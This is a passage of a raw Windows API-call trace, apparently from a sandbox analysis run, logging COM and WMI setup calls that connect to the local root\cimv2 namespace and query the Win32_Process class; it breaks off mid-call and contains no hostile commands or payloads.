[0159.372] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7d910 | out: ppv=0x1bb7d910*=0x1bc15a50) returned 0x0 [0159.373] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc15a50, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7d958 | out: ppvObject=0x1bb7d958*=0x0) returned 0x80004002 [0159.373] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bc15a50, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d908 | out: ppvObject=0x1bb7d908*=0x1bc3f2c0) returned 0x0 [0159.373] WbemDefPath:IUnknown:Release (This=0x1bc15a50) returned 0x0 [0159.373] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3f2c0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d718 | out: ppvObject=0x1bb7d718*=0x1bc3f2c0) returned 0x0 [0159.373] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3f2c0, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d7c0 | out: ppvObject=0x1bb7d7c0*=0x0) returned 0x80004002 [0159.373] WbemDefPath:IUnknown:AddRef (This=0x1bc3f2c0) returned 0x3 [0159.373] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3f2c0, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7ce68 | out: ppvObject=0x1bb7ce68*=0x0) returned 0x80004002 [0159.373] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3f2c0, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7cdf0 | out: ppvObject=0x1bb7cdf0*=0x0) returned 0x80004002 [0159.373] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3f2c0, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7cde0 | out: ppvObject=0x1bb7cde0*=0x1bc15a90) returned 0x0 [0159.373] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bc15a90, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7ce08 | out: pCid=0x1bb7ce08*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0159.373] WbemDefPath:IUnknown:Release (This=0x1bc15a90) returned 0x3 [0159.373] CoGetContextToken (in: pToken=0x1bb7ce90 | out: pToken=0x1bb7ce90) returned 0x0 [0159.374] CoGetContextToken (in: pToken=0x1bb7d310 | out: pToken=0x1bb7d310) returned 0x0 [0159.374] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3f2c0, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d3d0 | out: ppvObject=0x1bb7d3d0*=0x0) returned 0x80004002 [0159.374] WbemDefPath:IUnknown:Release (This=0x1bc3f2c0) returned 0x2 [0159.374] WbemDefPath:IUnknown:Release (This=0x1bc3f2c0) returned 0x1 [0159.374] CoGetContextToken (in: pToken=0x1bb7e130 | out: pToken=0x1bb7e130) returned 0x0 [0159.374] CoGetContextToken (in: pToken=0x1bb7e030 | out: pToken=0x1bb7e030) returned 0x0 [0159.374] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3f2c0, riid=0x1bb7e190*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e160 | out: ppvObject=0x1bb7e160*=0x1bc3f2c0) returned 0x0 [0159.374] WbemDefPath:IUnknown:AddRef (This=0x1bc3f2c0) returned 0x3 [0159.374] WbemDefPath:IUnknown:Release (This=0x1bc3f2c0) returned 0x2 [0159.374] WbemDefPath:IWbemPath:SetText (This=0x1bc3f2c0, uMode=0x4, pszPath="\\\\.\\root\\cimv2") returned 0x0 [0159.374] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc3f2c0, puCount=0x1bb7e510 | out: puCount=0x1bb7e510*=0x2) returned 0x0 [0159.374] WbemDefPath:IWbemPath:GetText (in: This=0x1bc3f2c0, lFlags=4, puBuffLength=0x1bb7e508*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e508*=0xf, pszText=0x0) returned 0x0 [0159.374] WbemDefPath:IWbemPath:GetText (in: This=0x1bc3f2c0, lFlags=4, puBuffLength=0x1bb7e508*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e508*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0159.374] CoGetObjectContext (in: riid=0x26fba00*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e588 | out: ppv=0x1bb7e588*=0x1a943398) returned 0x0 [0159.374] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e578 | out: pAptType=0x1bb7e578*=1) returned 0x0 [0159.374] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x26fb9e0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e580 | out: ppvObject=0x1bb7e580*=0x0) returned 0x80004002 [0159.374] IUnknown:Release (This=0x1a943398) returned 0x1 [0159.375] CoGetClassObject (in: rclsid=0x1a9ccf38*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7db30 | out: ppv=0x1bb7db30*=0x1bc15b90) returned 0x0 [0159.375] WbemLocator:IUnknown:QueryInterface (in: This=0x1bc15b90, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7db78 | out: ppvObject=0x1bb7db78*=0x0) returned 0x80004002 [0159.375] WbemLocator:IClassFactory:CreateInstance (in: This=0x1bc15b90, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7db28 | out: ppvObject=0x1bb7db28*=0x1bc15bb0) returned 0x0 [0159.375] WbemLocator:IUnknown:Release (This=0x1bc15b90) returned 0x0 [0159.375] WbemLocator:IUnknown:QueryInterface (in: This=0x1bc15bb0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d938 | out: ppvObject=0x1bb7d938*=0x1bc15bb0) returned 0x0 [0159.375] WbemLocator:IUnknown:QueryInterface (in: This=0x1bc15bb0, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d9e0 | out: ppvObject=0x1bb7d9e0*=0x0) returned 0x80004002 [0159.375] WbemLocator:IUnknown:AddRef (This=0x1bc15bb0) returned 0x3 [0159.376] WbemLocator:IUnknown:QueryInterface (in: This=0x1bc15bb0, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7d088 | out: ppvObject=0x1bb7d088*=0x0) returned 0x80004002 [0159.376] WbemLocator:IUnknown:QueryInterface (in: This=0x1bc15bb0, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7d010 | out: ppvObject=0x1bb7d010*=0x0) returned 0x80004002 [0159.376] WbemLocator:IUnknown:QueryInterface (in: This=0x1bc15bb0, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d000 | out: ppvObject=0x1bb7d000*=0x0) returned 0x80004002 [0159.376] CoGetContextToken (in: pToken=0x1bb7d0b0 | out: pToken=0x1bb7d0b0) returned 0x0 [0159.376] CoGetContextToken (in: pToken=0x1bb7d530 | out: pToken=0x1bb7d530) returned 0x0 [0159.376] WbemLocator:IUnknown:QueryInterface (in: This=0x1bc15bb0, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d5f0 | out: ppvObject=0x1bb7d5f0*=0x0) returned 0x80004002 [0159.376] WbemLocator:IUnknown:Release (This=0x1bc15bb0) returned 0x2 [0159.376] WbemLocator:IUnknown:Release (This=0x1bc15bb0) returned 0x1 [0159.376] CoGetContextToken (in: pToken=0x1bb7e0e0 | out: pToken=0x1bb7e0e0) returned 0x0 [0159.376] CoGetContextToken (in: pToken=0x1bb7dfe0 | out: pToken=0x1bb7dfe0) returned 0x0 [0159.376] WbemLocator:IUnknown:QueryInterface (in: This=0x1bc15bb0, riid=0x1bb7e140*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x1bb7e110 | out: ppvObject=0x1bb7e110*=0x1bc15bb0) returned 0x0 [0159.376] WbemLocator:IUnknown:AddRef (This=0x1bc15bb0) returned 0x3 [0159.376] WbemLocator:IUnknown:Release (This=0x1bc15bb0) returned 0x2 [0159.376] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc3f2c0, puCount=0x1bb7e510 | out: puCount=0x1bb7e510*=0x2) returned 0x0 [0159.376] WbemDefPath:IWbemPath:GetText (in: This=0x1bc3f2c0, lFlags=8, puBuffLength=0x1bb7e508*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e508*=0xf, pszText=0x0) returned 0x0 [0159.376] WbemDefPath:IWbemPath:GetText (in: This=0x1bc3f2c0, lFlags=8, puBuffLength=0x1bb7e508*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e508*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0159.376] CoCreateInstance (in: rclsid=0x7fef422b060*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x7fef422b0c0*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppv=0x1bb7e180 | out: ppv=0x1bb7e180*=0x1bc15bd0) returned 0x0 [0159.376] WbemLocator:IWbemLocator:ConnectServer (in: This=0x1bc15bd0, strNetworkResource="\\\\.\\root\\cimv2", strUser=0x0, strPassword=0x0, strLocale="", lSecurityFlags=128, strAuthority="", pCtx=0x0, ppNamespace=0x1bb7e3a8 | out: ppNamespace=0x1bb7e3a8*=0x1bc55d20) returned 0x0 [0159.616] WbemLocator:IUnknown:QueryInterface (in: This=0x1bc55d20, riid=0x7fef422aee0*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7dff8 | out: ppvObject=0x1bb7dff8*=0x1bbdce00) returned 0x0 [0159.617] WbemLocator:IClientSecurity:QueryBlanket (in: This=0x1bbdce00, pProxy=0x1bc55d20, pAuthnSvc=0x1bb7e0c0, pAuthzSvc=0x1bb7e040, pServerPrincName=0x1bb7e070, pAuthnLevel=0x1bb7e044, pImpLevel=0x1bb7e04c, pAuthInfo=0x1bb7e078, pCapabilites=0x1bb7e048 | out: pAuthnSvc=0x1bb7e0c0*=0xa, pAuthzSvc=0x1bb7e040*=0x0, pServerPrincName=0x1bb7e070, pAuthnLevel=0x1bb7e044*=0x6, pImpLevel=0x1bb7e04c*=0x2, pAuthInfo=0x1bb7e078, pCapabilites=0x1bb7e048*=0x1) returned 0x0 [0159.617] WbemLocator:IUnknown:Release (This=0x1bbdce00) returned 0x1 [0159.617] WbemLocator:IUnknown:QueryInterface (in: This=0x1bc55d20, riid=0x7fef422aed0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7df90 | out: ppvObject=0x1bb7df90*=0x1bbdce40) returned 0x0 [0159.617] WbemLocator:IUnknown:QueryInterface (in: This=0x1bc55d20, riid=0x7fef422aee0*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7dfa0 | out: ppvObject=0x1bb7dfa0*=0x1bbdce00) returned 0x0 [0159.617] WbemLocator:IClientSecurity:SetBlanket (This=0x1bbdce00, pProxy=0x1bc55d20, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0159.617] WbemLocator:IUnknown:Release (This=0x1bbdce00) returned 0x2 [0159.617] WbemLocator:IUnknown:Release (This=0x1bbdce40) returned 0x1 [0159.617] CoTaskMemFree (pv=0x1bc19590) [0159.617] WbemLocator:IUnknown:AddRef (This=0x1bc55d20) returned 0x2 [0159.617] WbemLocator:IUnknown:Release (This=0x1bc15bd0) returned 0x0 [0159.618] CoGetContextToken (in: pToken=0x1bb7d200 | out: pToken=0x1bb7d200) returned 0x0 [0159.618] CoGetContextToken (in: pToken=0x1bb7d680 | out: pToken=0x1bb7d680) returned 0x0 [0159.618] WbemLocator:IUnknown:QueryInterface (in: This=0x1bc55d20, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d600 | out: ppvObject=0x1bb7d600*=0x1bbdce10) returned 0x0 [0159.618] WbemLocator:IRpcOptions:Query (in: This=0x1bbdce10, pPrx=0x1bc15c30, dwProperty=2, pdwValue=0x1bb7d730 | out: pdwValue=0x1bb7d730) returned 0x80004002 [0159.618] WbemLocator:IUnknown:Release (This=0x1bbdce10) returned 0x2 [0159.618] CoGetContextToken (in: pToken=0x1bb7dd50 | out: pToken=0x1bb7dd50) returned 0x0 [0159.618] CoGetContextToken (in: pToken=0x1bb7dc50 | out: pToken=0x1bb7dc50) returned 0x0 [0159.618] WbemLocator:IUnknown:QueryInterface (in: This=0x1bc55d20, riid=0x1bb7ddb0*(Data1=0x9556dc99, Data2=0x828c, Data3=0x11cf, Data4=([0]=0xa3, [1]=0x7e, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x32, [6]=0x40, [7]=0xc7)), ppvObject=0x1bb7dbd0 | out: ppvObject=0x1bb7dbd0*=0x1bc55d20) returned 0x0 [0159.618] WbemLocator:IUnknown:Release (This=0x1bc55d20) returned 0x2 [0159.618] SysStringLen (param_1=0x0) returned 0x0 [0159.618] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc3f2c0, puCount=0x1bb7e550 | out: puCount=0x1bb7e550*=0x2) returned 0x0 [0159.618] WbemDefPath:IWbemPath:GetText (in: This=0x1bc3f2c0, lFlags=4, puBuffLength=0x1bb7e548*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e548*=0xf, pszText=0x0) returned 0x0 [0159.618] WbemDefPath:IWbemPath:GetText (in: This=0x1bc3f2c0, lFlags=4, puBuffLength=0x1bb7e548*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e548*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0159.618] WbemDefPath:IWbemPath:GetText (in: This=0x1bc40340, lFlags=2, puBuffLength=0x1bb7e558*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e558*=0xe, pszText=0x0) returned 0x0 [0159.618] WbemDefPath:IWbemPath:GetText (in: This=0x1bc40340, lFlags=2, puBuffLength=0x1bb7e558*=0xe, pszText="0000000000000" | out: puBuffLength=0x1bb7e558*=0xe, pszText="Win32_Process") returned 0x0 [0159.619] IWbemServices:GetObject (in: This=0x1bc55d20, strObjectPath="Win32_Process", lFlags=0, pCtx=0x0, ppObject=0x1bb7e3a0*=0x0, ppCallResult=0x0 | out: ppObject=0x1bb7e3a0*=0x1bbb6250, ppCallResult=0x0) returned 0x0 [0159.622] IWbemClassObject:Get (in: This=0x1bbb6250, wszName="__PATH", lFlags=0, pVal=0x1bb7e470*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1bb7e5d8*=0, plFlavor=0x1bb7e5d0*=0 | out: pVal=0x1bb7e470*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process", varVal2=0x0), pType=0x1bb7e5d8*=8, plFlavor=0x1bb7e5d0*=64) returned 0x0 [0159.622] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process") returned 0x4a [0159.622] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process") returned 0x4a [0159.622] CoGetObjectContext (in: riid=0x26fba00*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e4a8 | out: ppv=0x1bb7e4a8*=0x1a943398) returned 0x0 [0159.622] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e498 | out: pAptType=0x1bb7e498*=1) returned 0x0 [0159.622] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x26fb9e0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e4a0 | out: ppvObject=0x1bb7e4a0*=0x0) returned 0x80004002 [0159.622] IUnknown:Release (This=0x1a943398) returned 0x1 [0159.624] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7d8c0 | out: ppv=0x1bb7d8c0*=0x1bc15bd0) returned 0x0 [0159.624] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc15bd0, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7d908 | out: ppvObject=0x1bb7d908*=0x0) returned 0x80004002 [0159.624] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bc15bd0, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d8b8 | out: ppvObject=0x1bb7d8b8*=0x1bc3ee40) returned 0x0 [0159.624] WbemDefPath:IUnknown:Release (This=0x1bc15bd0) returned 0x0 [0159.624] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3ee40, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d6c8 | out: ppvObject=0x1bb7d6c8*=0x1bc3ee40) returned 0x0 [0159.624] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3ee40, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d770 | out: ppvObject=0x1bb7d770*=0x0) returned 0x80004002 [0159.624] WbemDefPath:IUnknown:AddRef (This=0x1bc3ee40) returned 0x3 [0159.624] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3ee40, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7ce18 | out: ppvObject=0x1bb7ce18*=0x0) returned 0x80004002 [0159.624] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3ee40, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7cda0 | out: ppvObject=0x1bb7cda0*=0x0) returned 0x80004002 [0159.624] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3ee40, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7cd90 | out: ppvObject=0x1bb7cd90*=0x1bc15bf0) returned 0x0 [0159.624] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bc15bf0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7cdb8 | out: pCid=0x1bb7cdb8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0159.625] WbemDefPath:IUnknown:Release (This=0x1bc15bf0) returned 0x3 [0159.625] CoGetContextToken (in: pToken=0x1bb7ce40 | out: pToken=0x1bb7ce40) returned 0x0 [0159.625] CoGetContextToken (in: pToken=0x1bb7d2c0 | out: pToken=0x1bb7d2c0) returned 0x0 [0159.625] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3ee40, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d380 | out: ppvObject=0x1bb7d380*=0x0) returned 0x80004002 [0159.625] WbemDefPath:IUnknown:Release (This=0x1bc3ee40) returned 0x2 [0159.625] WbemDefPath:IUnknown:Release (This=0x1bc3ee40) returned 0x1 [0159.625] CoGetContextToken (in: pToken=0x1bb7e0e0 | out: pToken=0x1bb7e0e0) returned 0x0 [0159.625] CoGetContextToken (in: pToken=0x1bb7dfe0 | out: pToken=0x1bb7dfe0) returned 0x0 [0159.625] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3ee40, riid=0x1bb7e140*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e110 | out: ppvObject=0x1bb7e110*=0x1bc3ee40) returned 0x0 [0159.625] WbemDefPath:IUnknown:AddRef (This=0x1bc3ee40) returned 0x3 [0159.625] WbemDefPath:IUnknown:Release (This=0x1bc3ee40) returned 0x2 [0159.625] WbemDefPath:IWbemPath:SetText (This=0x1bc3ee40, uMode=0x4, pszPath="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process") returned 0x0 [0159.625] IWbemClassObject:Get (in: This=0x1bbb6250, wszName="__SERVER", lFlags=0, pVal=0x1bb7e530*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1bb7e690*=0, plFlavor=0x1bb7e688*=0 | out: pVal=0x1bb7e530*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Q9IATRKPRH", varVal2=0x0), pType=0x1bb7e690*=8, plFlavor=0x1bb7e688*=64) returned 0x0 [0159.625] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0159.625] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0159.625] IWbemClassObject:Get (in: This=0x1bbb6250, wszName="__NAMESPACE", lFlags=0, pVal=0x1bb7e530*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1bb7e690*=8, plFlavor=0x1bb7e688*=64 | out: pVal=0x1bb7e530*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="ROOT\\CIMV2", varVal2=0x0), pType=0x1bb7e690*=8, plFlavor=0x1bb7e688*=64) returned 0x0 [0159.625] SysStringByteLen (bstr="ROOT\\CIMV2") returned 0x14 [0159.626] SysStringByteLen (bstr="ROOT\\CIMV2") returned 0x14 [0159.626] IWbemClassObject:Get (in: This=0x1bbb6250, wszName="__CLASS", lFlags=0, pVal=0x1bb7e530*(varType=0x0, wReserved1=0x0, 